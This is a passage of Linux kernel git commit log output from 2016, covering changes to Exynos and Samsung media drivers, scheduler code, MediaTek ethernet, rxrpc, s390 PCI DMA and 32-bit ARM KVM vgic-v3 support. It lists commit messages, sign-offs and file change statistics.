s5p-mipi-csis.1 was not initialized! s5p-fimc-md camera: Entity type for entity FIMC-LITE.0 was not initialized! s5p-fimc-md camera: Entity type for entity FIMC-LITE.1 was not initialized! s5p-fimc-md camera: Entity type for entity FIMC-IS-ISP was not initialized! Signed-off-by: Sylwester Nawrocki Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/exynos4-is/fimc-capture.c | 1 + drivers/media/platform/exynos4-is/fimc-isp.c | 1 + drivers/media/platform/exynos4-is/fimc-lite.c | 1 + drivers/media/platform/exynos4-is/mipi-csis.c | 1 + 4 files changed, 4 insertions(+) commit 5f6d636f91da5e9f44f2eac070688817f3acc34c Author: Marek Szyprowski Date: Wed Aug 31 10:25:17 2016 -0300 [media] exynos4-is: Improve clock management There is no need to keep all clocks prepared all the time. Call to clk_prepare/unprepare can be done on demand from runtime pm callbacks (it is allowed to call sleeping functions from that context). Signed-off-by: Marek Szyprowski Acked-by: Krzysztof Kozlowski Signed-off-by: Sylwester Nawrocki Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/exynos4-is/fimc-lite.c | 16 ++++------------ 1 file changed, 4 insertions(+), 12 deletions(-) commit 438236e7c151ec797d433fd4c3e770f55cdc5d04 Author: Marek Szyprowski Date: Wed Aug 31 10:25:16 2016 -0300 [media] exynos4-is: Add support for all required clocks This patch adds 3 more clocks to Exynos4 ISP driver. Enabling them is needed to make the hardware operational. Till now it worked only because those clocks were registered with IGNORE_UNUSED flag and were enabled by default after SoC reset. Signed-off-by: Marek Szyprowski Acked-by: Krzysztof Kozlowski Signed-off-by: Mauro Carvalho Chehab Documentation/devicetree/bindings/media/exynos4-fimc-is.txt | 7 ++++--- drivers/media/platform/exynos4-is/fimc-is.c | 3 +++ drivers/media/platform/exynos4-is/fimc-is.h | 3 +++ 3 files changed, 10 insertions(+), 3 deletions(-) commit 6e7122a3c83ad468037e7f22f324feccb6252bf4 Author: Christophe JAILLET Date: Wed Aug 31 10:45:04 2016 -0300 [media] s5p-cec: Fix memory allocation failure check It is likely that checking the result of the memory allocation just above is expected here. Signed-off-by: Christophe JAILLET Signed-off-by: Sylwester Nawrocki Signed-off-by: Mauro Carvalho Chehab drivers/staging/media/s5p-cec/s5p_cec.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 57b978ada073106d8fc12614f504cb92366a7ce1 Author: Marek Szyprowski Date: Wed Aug 31 09:55:58 2016 -0300 [media] s5p-cec: fix system and runtime PM integration Use generic helpers instead of open-coding usage of runtime PM for system sleep PM, which was potentially broken for some corner cases. Signed-off-by: Marek Szyprowski Signed-off-by: Sylwester Nawrocki Signed-off-by: Mauro Carvalho Chehab drivers/staging/media/s5p-cec/s5p_cec.c | 17 ++--------------- 1 file changed, 2 insertions(+), 15 deletions(-) commit 3b92fed5e3d6ee7508ca4a3dac10a95a386a3fa5 Author: Marek Szyprowski Date: Wed Aug 31 09:55:59 2016 -0300 [media] s5p-jpeg: fix system and runtime PM integration Use generic helpers instead of open-coding usage of runtime PM for system sleep PM, which was potentially broken for some corner cases. Signed-off-by: Marek Szyprowski Signed-off-by: Sylwester Nawrocki Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/s5p-jpeg/jpeg-core.c | 21 ++------------------- 1 file changed, 2 insertions(+), 19 deletions(-) commit e383ce0736f5ce74bbc0e989c6d044e29fefb9dc Author: Mauro Carvalho Chehab Date: Thu Sep 22 07:59:03 2016 -0300 [media] get rid of a number of problems at the cross references As warned by linuxdoc[1] tool, using: $ for i in $(git grep kernel-doc Documentation/media/kapi/|cut -d: -f4); do kernel-lintdoc --sloppy $i; done include/media/v4l2-dev.h:118 :WARN: function name from comment differs: v4l2_prio_close <--> v4l2_prio_check include/media/v4l2-mc.h:56 [kernel-doc WARN] : enum name from comment differs: if_vid_dec_index <--> if_vid_dec_pad_index include/media/v4l2-mc.h:71 [kernel-doc WARN] : enum name from comment differs: if_aud_dec_index <--> if_aud_dec_pad_index include/media/v4l2-mem2mem.h:396 [kernel-doc WARN] : function name from comment differs: v4l2_m2m_num_src_bufs_ready <--> v4l2_m2m_num_dst_bufs_ready drivers/media/dvb-core/dvb_math.h:28 [kernel-doc WARN] : function name from comment differs: cintlog2 <--> intlog2 include/media/v4l2-subdev.h:215 [kernel-doc WARN] : struct name from comment differs: s_radio <--> v4l2_subdev_tuner_ops include/media/v4l2-subdev.h:890 [kernel-doc WARN] : function name from comment differs: v4l2_set_subdevdata <--> v4l2_set_subdev_hostdata include/media/v4l2-subdev.h:901 [kernel-doc WARN] : function name from comment differs: v4l2_get_subdevdata <--> v4l2_get_subdev_hostdata drivers/media/dvb-core/dvb_ringbuffer.h:196 [kernel-doc WARN] : function name from comment differs: dvb_ringbuffer_writeuser <--> dvb_ringbuffer_write_user include/media/videobuf2-core.h:399 [kernel-doc WARN] : struct name from comment differs: vb2_ops <--> vb2_buf_ops include/media/media-entity.h:132 [kernel-doc ERROR] : duplicate parameter definition 'source' include/media/media-entity.h:477 [kernel-doc WARN] : function name from comment differs: media_entity_enum_test <--> media_entity_enum_test_and_set include/media/media-entity.h:535 [kernel-doc WARN] : function name from comment differs: gobj_to_entity <--> gobj_to_pad include/media/media-entity.h:544 [kernel-doc WARN] : function name from comment differs: gobj_to_entity <--> gobj_to_link include/media/media-entity.h:553 [kernel-doc WARN] : function name from comment differs: gobj_to_entity <--> gobj_to_intf include/media/media-entity.h:562 [kernel-doc WARN] : function name from comment differs: gobj_to_entity <--> intf_to_devnode include/media/rc-core.h:234 [kernel-doc WARN] : function name from comment differs: rc_open <--> rc_close include/media/v4l2-ctrls.h:397 [kernel-doc WARN] : missing initial short description of 'v4l2_ctrl_handler_init' include/media/v4l2-dev.h:118 [kernel-doc WARN] : function name from comment differs: v4l2_prio_close <--> v4l2_prio_check include/media/v4l2-event.h:225 [kernel-doc WARN] : missing initial short description of 'v4l2_src_change_event_subscribe' [1] https://return42.github.io/linuxdoc/linux.html The above are real issues at the documentation. On several cases, caused by cut-and-paste. Fix them. Signed-off-by: Mauro Carvalho Chehab Documentation/media/kapi/v4l2-dev.rst | 2 +- drivers/media/dvb-core/dvb_math.h | 2 +- drivers/media/dvb-core/dvb_ringbuffer.h | 2 +- include/media/media-entity.h | 13 +++++++------ include/media/rc-core.h | 2 +- include/media/v4l2-ctrls.h | 3 ++- include/media/v4l2-dev.h | 2 +- include/media/v4l2-event.h | 3 ++- include/media/v4l2-mc.h | 4 ++-- include/media/v4l2-mem2mem.h | 2 +- include/media/v4l2-subdev.h | 7 ++++--- include/media/videobuf2-core.h | 2 +- 12 files changed, 24 insertions(+), 20 deletions(-) commit 35a773a07926a22bf19d77ee00024522279c4e68 Author: Peter Zijlstra Date: Mon Sep 19 12:57:53 2016 +0200 sched/core: Avoid _cond_resched() for PREEMPT=y On fully preemptible kernels _cond_resched() is pointless, so avoid emitting any code for it. Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mikulas Patocka Cc: Oleg Nesterov Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-kernel@vger.kernel.org Signed-off-by: Ingo Molnar include/linux/sched.h | 4 ++++ kernel/sched/core.c | 2 ++ 2 files changed, 6 insertions(+) commit 9af6528ee9b682df7f29dbee86fbba0b67eab944 Author: Peter Zijlstra Date: Tue Sep 13 18:37:29 2016 +0200 sched/core: Optimize __schedule() Oleg noted that by making do_exit() use __schedule() for the TASK_DEAD context switch, we can avoid the TASK_DEAD special case currently in __schedule() because that avoids the extra preempt_disable() from schedule(). In order to facilitate this, create a do_task_dead() helper which we place in the scheduler code, such that it can access __schedule(). Also add some __noreturn annotations to the functions, there's no coming back from do_exit(). Suggested-by: Oleg Nesterov Signed-off-by: Peter Zijlstra (Intel) Cc: Cheng Chao Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: akpm@linux-foundation.org Cc: chris@chris-wilson.co.uk Cc: tj@kernel.org Link: http://lkml.kernel.org/r/20160913163729.GB5012@twins.programming.kicks-ass.net Signed-off-by: Ingo Molnar include/linux/kernel.h | 9 +++------ include/linux/sched.h | 2 ++ kernel/exit.c | 26 ++------------------------ kernel/sched/core.c | 38 +++++++++++++++++++++++++++----------- 4 files changed, 34 insertions(+), 41 deletions(-) commit bf89a304722f6904009499a31dc68ab9a5c9742e Author: Cheng Chao Date: Wed Sep 14 10:01:50 2016 +0800 stop_machine: Avoid a sleep and wakeup in stop_one_cpu() In case @cpu == smp_proccessor_id(), we can avoid a sleep+wakeup cycle by doing a preemption. Callers such as sched_exec() can benefit from this change. Signed-off-by: Cheng Chao Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Oleg Nesterov Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: akpm@linux-foundation.org Cc: chris@chris-wilson.co.uk Cc: tj@kernel.org Link: http://lkml.kernel.org/r/1473818510-6779-1-git-send-email-cs.os.kernel@gmail.com Signed-off-by: Ingo Molnar kernel/sched/core.c | 8 ++++++-- kernel/stop_machine.c | 5 +++++ 2 files changed, 11 insertions(+), 2 deletions(-) commit 0b8473570ce1af3e80da05b59f9321f30253de4d Author: Cheng Chao Date: Wed Sep 14 10:18:56 2016 +0800 sched/core: Remove unnecessary initialization in sched_init() init_idle() is called immediately after: current->sched_class = &fair_sched_class; init_idle() sets: current->sched_class = &idle_sched_class; First assignment is superfluous. Signed-off-by: Cheng Chao Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1473819536-7398-1-git-send-email-cs.os.kernel@gmail.com Signed-off-by: Ingo Molnar kernel/sched/core.c | 5 ----- 1 file changed, 5 deletions(-) commit f29ca38b6dd4fe2459e6b5f98690b9fe2dd86ff1 Author: Stephen Rothwell Date: Thu Sep 15 16:04:12 2016 +1000 ppc: there is no clear_pages to export Fixes: 9445aa1a3062 ("ppc: move exports to definitions") Signed-off-by: Stephen Rothwell Signed-off-by: Michal Marek arch/powerpc/kernel/misc_32.S | 1 - 1 file changed, 1 deletion(-) commit 50797851b4a594ba131fa5f147f4510e351bf081 Merge: 4fa5cd5 7d1e042 Author: Ingo Molnar Date: Thu Sep 22 14:49:40 2016 +0200 Merge branch 'linus' into sched/core, to pick up fixes Signed-off-by: Ingo Molnar commit 8db549491c4a3ce9e1d509b75f78516e497f48ec Author: Peter Zijlstra Date: Sun Sep 11 10:36:26 2016 +0200 smp: Allocate smp_call_on_cpu() workqueue on stack too The SMP IPI struct descriptor is allocated on the stack except for the workqueue and lockdep complains: INFO: trying to register non-static key. the code is fine but needs lockdep annotation. turning off the locking correctness validator. CPU: 0 PID: 110 Comm: kworker/0:1 Not tainted 4.8.0-rc5+ #14 Hardware name: Dell Inc. Precision T3600/0PTTT9, BIOS A13 05/11/2014 Workqueue: events smp_call_on_cpu_callback ... Call Trace: dump_stack register_lock_class ? __lock_acquire __lock_acquire ? __lock_acquire lock_acquire ? process_one_work process_one_work ? process_one_work worker_thread ? process_one_work ? process_one_work kthread ? kthread_create_on_node ret_from_fork So allocate it on the stack too. Signed-off-by: Peter Zijlstra (Intel) [ Test and write commit message. ] Signed-off-by: Borislav Petkov Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20160911084323.jhtnpb4b37t5tlno@pd.tnic Signed-off-by: Ingo Molnar kernel/smp.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 12eb901e01c7830a00e373ac311512cea26f54ef Author: Nicholas Piggin Date: Wed Sep 14 12:45:07 2016 +1000 powerpc/64: whitelist unresolved modversions CRCs These are a symptom of CRC generation failure in generic build code, and not powerpc specific. Signed-off-by: Nicholas Piggin Tested-by: Stephen Rothwell Acked-by: Michael Ellerman Fixes: 9445aa1a3062 ("ppc: move exports to definitions") Signed-off-by: Michal Marek arch/powerpc/relocs_check.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 0f4c4af06eec5717041d6fe568b80ee4cf3c1475 Author: Nicholas Piggin Date: Wed Sep 14 12:24:03 2016 +1000 kbuild: -ffunction-sections fix for archs with conflicting sections Enabling -ffunction-sections modified the generic linker script to pull .text.* sections into regular TEXT_TEXT section, conflicting with some architectures. Revert that change and require archs that enable the option to ensure they have no conflicting section names, and do the appropriate merging. Reported-by: Guenter Roeck Tested-by: Guenter Roeck Fixes: b67067f1176d ("kbuild: allow archs to select link dead code/data elimination") Signed-off-by: Nicholas Piggin Signed-off-by: Michal Marek arch/Kconfig | 4 +++- include/asm-generic/vmlinux.lds.h | 15 ++++++++++----- 2 files changed, 13 insertions(+), 6 deletions(-) commit 0364a8824c020f12e2d5e9fad963685b58f7574e Author: Juergen Gross Date: Thu Sep 22 11:06:25 2016 +0200 xen-netback: switch to threaded irq for control ring Instead of open coding it use the threaded irq mechanism in xen-netback. Signed-off-by: Juergen Gross Acked-by: Wei Liu Signed-off-by: David S. Miller drivers/net/xen-netback/common.h | 4 +--- drivers/net/xen-netback/interface.c | 38 ++++++------------------------------- drivers/net/xen-netback/netback.c | 18 ++++-------------- 3 files changed, 11 insertions(+), 49 deletions(-) commit 00f7f90c51dfc2403257e2c7410d453e72bf6a41 Author: Arnd Bergmann Date: Thu Sep 22 11:48:00 2016 +0200 rtc: cmos: avoid unused function warning A bug fix for the ACPI side of this driver caused a harmless build warning: drivers/rtc/rtc-cmos.c:1115:13: error: 'cmos_check_acpi_rtc_status' defined but not used [-Werror=unused-function] static void cmos_check_acpi_rtc_status(struct device *dev, We can avoid the warning and simplify the driver at the same time by removing the #ifdef for CONFIG_PM and rely on the SIMPLE_DEV_PM_OPS() to set everything up correctly. cmos_resume() has to get marked as __maybe_unused so we don't introduce another warning, and the two variants of cmos_poweroff() can get merged into one using an IS_ENABLED() check. Fixes: 983bf1256edb ("rtc: cmos: Clear ACPI-driven alarms upon resume") Signed-off-by: Arnd Bergmann Signed-off-by: Alexandre Belloni drivers/rtc/rtc-cmos.c | 21 ++++----------------- 1 file changed, 4 insertions(+), 17 deletions(-) commit f6f7d9c03f5daae04449ad19de5e2f0c20c5eaac Author: Sean Wang Date: Thu Sep 22 16:44:16 2016 +0800 net: ethernet: mediatek: get out of potential invalid pointer access Potential dangerous invalid pointer might be accessed if the error happens when couple phy_device to net_device so cleanup the error path. Signed-off-by: Sean Wang Signed-off-by: David S. Miller drivers/net/ethernet/mediatek/mtk_eth_soc.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 3e60b748fd2f50bbdb6a61fdd48222cd492c77e3 Author: Sean Wang Date: Thu Sep 22 16:42:03 2016 +0800 net: ethernet: mediatek: use [get|set]_link_ksettings 1) use new api [get|set]_link_ksettings instead of [get|set]_settings old ones. 2) dev->phydev is sure being ready before calling these callbacks, so removing all the sanity check if it is existing. Signed-off-by: Sean Wang Signed-off-by: David S. Miller drivers/net/ethernet/mediatek/mtk_eth_soc.c | 33 +++++++++++------------------ 1 file changed, 12 insertions(+), 21 deletions(-) commit a2b2a19f0fbc674478a6806ea9e4f6aff06763f8 Author: Sean Wang Date: Thu Sep 22 16:36:15 2016 +0800 net: ethernet: mediatek: remove superfluous local variable for phy address remove the unused variable for parsing PHY address and the related logic for sanity test which would be all already handled done when of_mdiobus_register was called Reported-by: Nelson Chang Signed-off-by: Sean Wang Signed-off-by: David S. Miller drivers/net/ethernet/mediatek/mtk_eth_soc.c | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) commit 2364c5c5ec14e936826eb10af56a337ccec01ffa Author: Sean Wang Date: Thu Sep 22 16:33:35 2016 +0800 net: ethernet: mediatek: use phydev from struct net_device reuse phydev already in struct net_device instead of creating another new one in private structure. Signed-off-by: Sean Wang Signed-off-by: David S. Miller drivers/net/ethernet/mediatek/mtk_eth_soc.c | 73 ++++++++++++++--------------- drivers/net/ethernet/mediatek/mtk_eth_soc.h | 2 - 2 files changed, 36 insertions(+), 39 deletions(-) commit 4fa01af4845633d1b33ec2dfb9b5c3da0b3408f4 Merge: 60cd6e6 b885396 Author: David S. Miller Date: Thu Sep 22 08:21:28 2016 -0400 Merge branch 'mediatek-trgmii' Sean Wang says: ==================== mediatek: add support for RGMII on GMAC0 through TRGMII hardware module By default, GMAC0 is connected to built-in switch called MT7530 through the proprietary interface called Turbo RGMII (TRGMII). TRGMII also supports well for RGMII as generic external PHY uses but requires some slight changes to the setup of TRGMII and doesn't have well support on current driver. So this patchset 1) provides the slight changes of the setup for RGMII can work through TRGMII 2) adds additional setting "trgmii" as PHY_INTERFACE_MODE_TRGMII about phy-mode on device tree to make GMAC0 distinguish which mode it runs 3) changes dynamically source clock, TX/RX delay and interface mode on TRGMII for adapting various link Changes since v1: - fixed the style of comment which doesn't have a space at the beginning and end of comment lines - add support for phy-mode "trgmii" as PHY_INTERFACE_MODE_TRGMII into linux/phy.h - enhance the Documentation about device tree binding for trgmii which is applicable only for GMAC0 which uses fixed-link ==================== Signed-off-by: David S. Miller commit b88539658a597e649627c4cc2d446456fc01e104 Author: Sean Wang Date: Thu Sep 22 10:33:56 2016 +0800 net: ethernet: mediatek: add the dts property to set if TRGMII supported on GMAC0 Add the dts property for the capability if TRGMII supported on GAMC0 Signed-off-by: Sean Wang Signed-off-by: David S. Miller Documentation/devicetree/bindings/net/mediatek-net.txt | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit f430dea7c150dab2c103d28fa32efb59b5ae80b4 Author: Sean Wang Date: Thu Sep 22 10:33:55 2016 +0800 net: ethernet: mediatek: add support for GMAC0 connecting with external PHY through TRGMII Changing dynamically source clock, TX/RX delay and interface mode used by TRGMII hardware module inside PHY capability polling routine for adapting to the various speed of RGMII used by external PHY for GMAC0. Signed-off-by: Sean Wang Signed-off-by: David S. Miller drivers/net/ethernet/mediatek/mtk_eth_soc.c | 32 ++++++++++++++++++++++++++++- drivers/net/ethernet/mediatek/mtk_eth_soc.h | 31 +++++++++++++++++++++++++++- 2 files changed, 61 insertions(+), 2 deletions(-) commit 572de608e36279f249c9a6350f142e69f23dacab Author: Sean Wang Date: Thu Sep 22 10:33:54 2016 +0800 net: ethernet: mediatek: add extension of phy-mode for TRGMII adds PHY-mode "trgmii" as an extension for the operation mode of the PHY interface for PHY_INTERFACE_MODE_TRGMII. and adds a variable trgmii inside mtk_mac as the indication to make the difference between the MAC connected to internal switch or connected to external PHY by the given configuration on the board and then to perform the corresponding setup on TRGMII hardware module. Signed-off-by: Sean Wang Cc: Florian Fainelli Signed-off-by: David S. Miller drivers/net/ethernet/mediatek/mtk_eth_soc.c | 2 ++ drivers/net/ethernet/mediatek/mtk_eth_soc.h | 3 +++ include/linux/phy.h | 3 +++ 3 files changed, 8 insertions(+) commit 60cd6e63ec89deaa5abe39c903a6e6f70c94e799 Merge: cdd0766 fc943f6 Author: David S. Miller Date: Thu Sep 22 08:14:59 2016 -0400 Merge tag 'rxrpc-rewrite-20160922-v2' of git://git.kernel.org/pub/scm/linux/kernel/git/dhowells/linux-fs David Howells says: ==================== rxrpc: Preparation for slow-start algorithm [ver #2] Here are some patches that prepare for improvements in ACK generation and for the implementation of the slow-start part of the protocol: (1) Stop storing the protocol header in the Tx socket buffers, but rather generate it on the fly. This potentially saves a little space and makes it easier to alter the header just before transmission (the flags may get altered and the serial number has to be changed). (2) Mask off the Tx buffer annotations and add a flag to record which ones have already been resent. (3) Track RTT on a per-peer basis for use in future changes. Tracepoints are added to log this. (4) Send PING ACKs in response to incoming calls to elicit a PING-RESPONSE ACK from which RTT data can be calculated. The response also carries other useful information. (5) Expedite PING-RESPONSE ACK generation from sendmsg. If we're actively using sendmsg, this allows us, under some circumstances, to avoid having to rely on the background work item to run to generate this ACK. This requires ktime_sub_ms() to be added. (6) Set the REQUEST-ACK flag on some DATA packets to elicit ACK-REQUESTED ACKs from which RTT data can be calculated. (7) Limit the use of pings and ACK requests for RTT determination. Changes: (V2) Don't use the C division operator for 64-bit division. One instance should use do_div() and the other should be using nsecs_to_jiffies(). The last two patches got transposed, leading to an undefined symbol in one of them. Reported-by: kbuild test robot ==================== Signed-off-by: David S. Miller commit 13954fd6913acff8f8b8c21612074b57051ba457 Author: Sebastian Ott Date: Thu Sep 8 13:25:01 2016 +0200 s390/pci_dma: improve lazy flush for unmap Lazy unmap (defer tlb flush after unmap until dma address reuse) can greatly reduce the number of RPCIT instructions in the best case. In reality we are often far away from the best case scenario because our implementation suffers from the following problem: To create dma addresses we maintain an iommu bitmap and a pointer into that bitmap to mark the start of the next search. That pointer moves from the start to the end of that bitmap and we issue a global tlb flush once that pointer wraps around. To prevent address reuse before we issue the tlb flush we even have to move the next pointer during unmaps - when clearing a bit > next. This could lead to a situation where we only use the rear part of that bitmap and issue more tlb flushes than expected. To fix this we no longer clear bits during unmap but maintain a 2nd bitmap which we use to mark addresses that can't be reused until we issue the global tlb flush after wrap around. Signed-off-by: Sebastian Ott Reviewed-by: Gerald Schaefer Signed-off-by: Martin Schwidefsky arch/s390/include/asm/pci.h | 1 + arch/s390/pci/pci_dma.c | 47 +++++++++++++++++++++++++++++++-------------- 2 files changed, 34 insertions(+), 14 deletions(-) commit 1f166e9e5c7cd5d1fe2a5da7c97c1688d4c93fbb Author: Sebastian Ott Date: Mon Sep 5 17:49:17 2016 +0200 s390/pci_dma: split dma_update_trans Split dma_update_trans into __dma_update_trans which handles updating the dma translation tables and __dma_purge_tlb which takes care of purging associated entries in the dma translation lookaside buffer. The map_sg API makes use of this split approach by calling __dma_update_trans once per physically contiguous address range but __dma_purge_tlb only once per dma contiguous address range. This results in less invocations of the expensive RPCIT instruction when using map_sg. Signed-off-by: Sebastian Ott Reviewed-by: Gerald Schaefer Signed-off-by: Martin Schwidefsky arch/s390/pci/pci_dma.c | 65 +++++++++++++++++++++++++++++++++---------------- 1 file changed, 44 insertions(+), 21 deletions(-) commit ee877b81c6b92c190e7186c1ffd054804b426c02 Author: Sebastian Ott Date: Fri Aug 19 09:12:09 2016 +0200 s390/pci_dma: improve map_sg Our map_sg implementation mapped sg entries independently of each other. For ease of use and possible performance improvements this patch changes the implementation to try to map as many (likely physically non-contiguous) sglist entries as possible into a contiguous DMA segment. Signed-off-by: Sebastian Ott Reviewed-by: Gerald Schaefer Signed-off-by: Martin Schwidefsky arch/s390/pci/pci_dma.c | 106 +++++++++++++++++++++++++++++++++++++----------- 1 file changed, 82 insertions(+), 24 deletions(-) commit 8cb63b78791eef67ea95831c6ef5e6039c572b14 Author: Sebastian Ott Date: Wed Aug 17 13:51:11 2016 +0200 s390/pci_dma: simplify dma address calculation Simplify the code we use to calculate dma addresses by putting everything related in a dma_alloc_address function. Also provide a dma_free_address counterpart. Signed-off-by: Sebastian Ott Reviewed-by: Gerald Schaefer Signed-off-by: Martin Schwidefsky arch/s390/pci/pci_dma.c | 37 ++++++++++++++++++------------------- 1 file changed, 18 insertions(+), 19 deletions(-) commit 3b13f1fea1be44f29be4150246624502a0227ebd Author: Sebastian Ott Date: Wed Aug 17 13:39:46 2016 +0200 s390/pci_dma: remove dma address range check We calculate dma addresses using an iommu bitmap. Since commit 69eea95c ("s390/pci_dma: fix DMA table corruption with > 4 TB main memory") we've made sure that addresses created using that bitmap are below the maximum reported by firmware. Thus the additional check for that address to be within range can be removed. Signed-off-by: Sebastian Ott Reviewed-by: Gerald Schaefer Signed-off-by: Martin Schwidefsky arch/s390/pci/pci_dma.c | 5 ----- 1 file changed, 5 deletions(-) commit bb2b7ffbc4e25b0c4839317b6c31cb768efe8b1f Author: Sebastian Ott Date: Tue Aug 23 15:59:15 2016 +0200 iommu/s390: simplify registration of I/O address translation parameters When a new function is attached to an iommu domain we need to register I/O address translation parameters. Since commit 69eea95c ("s390/pci_dma: fix DMA table corruption with > 4 TB main memory") start_dma and end_dma correctly describe the range of usable I/O addresses. Simplify the code by using these values directly. Signed-off-by: Sebastian Ott Reviewed-by: Gerald Schaefer Signed-off-by: Martin Schwidefsky drivers/iommu/s390-iommu.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 6134993789b76d85102d68a286b8b82cb53b52cb Author: Vladimir Murzin Date: Thu Sep 22 09:18:01 2016 +0100 arm64: KVM: Remove duplicating init code for setting VMID By now both VHE and non-VHE initialisation sequences query supported VMID size. Lets keep only single instance of this code under init_common_resources(). Acked-by: Marc Zyngier Signed-off-by: Vladimir Murzin Signed-off-by: Christoffer Dall arch/arm/kvm/arm.c | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) commit acda5430bee4621f218391d0bcfbe4412adb3554 Author: Vladimir Murzin Date: Mon Sep 12 15:49:24 2016 +0100 ARM: KVM: Support vgic-v3 This patch allows to build and use vgic-v3 in 32-bit mode. Unfortunately, it can not be split in several steps without extra stubs to keep patches independent and bisectable. For instance, virt/kvm/arm/vgic/vgic-v3.c uses function from vgic-v3-sr.c, handling access to GICv3 cpu interface from the guest requires vgic_v3.vgic_sre to be already defined. It is how support has been done: * handle SGI requests from the guest * report configured SRE on access to GICv3 cpu interface from the guest * required vgic-v3 macros are provided via uapi.h * static keys are used to select GIC backend * to make vgic-v3 build KVM_ARM_VGIC_V3 guard is removed along with the static inlines Acked-by: Marc Zyngier Reviewed-by: Christoffer Dall Signed-off-by: Vladimir Murzin Signed-off-by: Christoffer Dall arch/arm/include/asm/kvm_asm.h | 3 +++ arch/arm/include/asm/kvm_host.h | 5 ++++ arch/arm/include/asm/kvm_hyp.h | 3 +++ arch/arm/include/uapi/asm/kvm.h | 7 +++++ arch/arm/kvm/Makefile | 2 ++ arch/arm/kvm/coproc.c | 35 ++++++++++++++++++++++++ arch/arm/kvm/hyp/Makefile | 1 + arch/arm/kvm/hyp/switch.c | 12 +++++++-- arch/arm64/kvm/Kconfig | 4 --- include/kvm/arm_vgic.h | 8 ------ virt/kvm/arm/vgic/vgic-kvm-device.c | 8 ------ virt/kvm/arm/vgic/vgic-mmio.c | 2 -- virt/kvm/arm/vgic/vgic-mmio.h | 2 -- virt/kvm/arm/vgic/vgic.h | 54 ------------------------------------- 14 files changed, 66 insertions(+), 80 deletions(-) commit a078bedf17c2e43819fea54bdfd5793845142e3a Author: Vladimir Murzin Date: Mon Sep 12 15:49:23 2016 +0100 ARM: gic-v3: Introduce 32-to-64-bit mappings for GICv3 cpu registers vgic-v3 save/restore routines are written in such way that they map arm64 system register naming nicely, but it does not fit to arm world. To keep virt/kvm/arm/hyp/vgic-v3-sr.c untouched we create a mapping with a function for each register mapping the 32-bit to the 64-bit accessors. Please, note that 64-bit wide ICH_LR is split in two 32-bit halves (ICH_LR and ICH_LRC) accessed independently. Acked-by: Marc Zyngier Signed-off-by: Vladimir Murzin Signed-off-by: Christoffer Dall arch/arm/include/asm/arch_gicv3.h | 64 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 64 insertions(+) commit 4f2546384150e78cad8045e59a9587fabcd9f9fe Author: Vladimir Murzin Date: Mon Sep 12 15:49:22 2016 +0100 ARM: Move system register accessors to asm/cp15.h Headers linux/irqchip/arm-gic.v3.h and arch/arm/include/asm/kvm_hyp.h are included in virt/kvm/arm/hyp/vgic-v3-sr.c and both define macros called __ACCESS_CP15 and __ACCESS_CP15_64 which obviously creates a conflict. These macros were introduced independently for GIC and KVM and, in fact, do the same thing. As an option we could add prefixes to KVM and GIC version of macros so they won't clash, but it'd introduce code duplication. Alternatively, we could keep macro in, say, GIC header and include it in KVM one (or vice versa), but such dependency would not look nicer. So we follow arm64 way (it handles this via sysreg.h) and move only single set of macros to asm/cp15.h Cc: Russell King Acked-by: Marc Zyngier Signed-off-by: Vladimir Murzin Signed-off-by: Christoffer Dall arch/arm/include/asm/arch_gicv3.h | 27 +++++++++++---------------- arch/arm/include/asm/cp15.h | 15 +++++++++++++++ arch/arm/include/asm/kvm_hyp.h | 15 +-------------- 3 files changed, 27 insertions(+), 30 deletions(-) commit 163352eb6827e5b556b0860edc19327798fcc5ff Author: Vladimir Murzin Date: Mon Sep 12 15:49:21 2016 +0100 ARM: Introduce MPIDR_LEVEL_SHIFT macro vgic-v3 driver uses architecture specific MPIDR_LEVEL_SHIFT macro to encode the affinity in a form compatible with ICC_SGI* registers. Unfortunately, that macro is missing on ARM, so let's add it. Cc: Russell King Acked-by: Marc Zyngier Signed-off-by: Vladimir Murzin Signed-off-by: Christoffer Dall arch/arm/include/asm/cputype.h | 1 + 1 file changed, 1 insertion(+) commit d7d0a11e44a1c6c1e61db7f305115f33be900704 Author: Vladimir Murzin Date: Mon Sep 12 15:49:20 2016 +0100 KVM: arm: vgic: Support 64-bit data manipulation on 32-bit host systems We have couple of 64-bit registers defined in GICv3 architecture, so unsigned long accesses to these registers will only access a single 32-bit part of that regitser. On the other hand these registers can't be accessed as 64-bit with a single instruction like ldrd/strd or ldmia/stmia if we run a 32-bit host because KVM does not support access to MMIO space done by these instructions. It means that a 32-bit guest accesses these registers in 32-bit chunks, so the only thing we need to do is to ensure that extract_bytes() always takes 64-bit data. Acked-by: Marc Zyngier Signed-off-by: Vladimir Murzin Signed-off-by: Christoffer Dall virt/kvm/arm/vgic/vgic-mmio-v3.c | 2 +- virt/kvm/arm/vgic/vgic-mmio.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit e533a37f7b5ee5eb8b102cf0823e84cd6a7deb57 Author: Vladimir Murzin Date: Mon Sep 12 15:49:19 2016 +0100 KVM: arm: vgic: Fix compiler warnings when built for 32-bit Well, this patch is looking ahead of time, but we'll get following compiler warnings as soon as we introduce vgic-v3 to 32-bit world CC arch/arm/kvm/../../../virt/kvm/arm/vgic/vgic-mmio-v3.o arch/arm/kvm/../../../virt/kvm/arm/vgic/vgic-mmio-v3.c: In function 'vgic_mmio_read_v3r_typer': 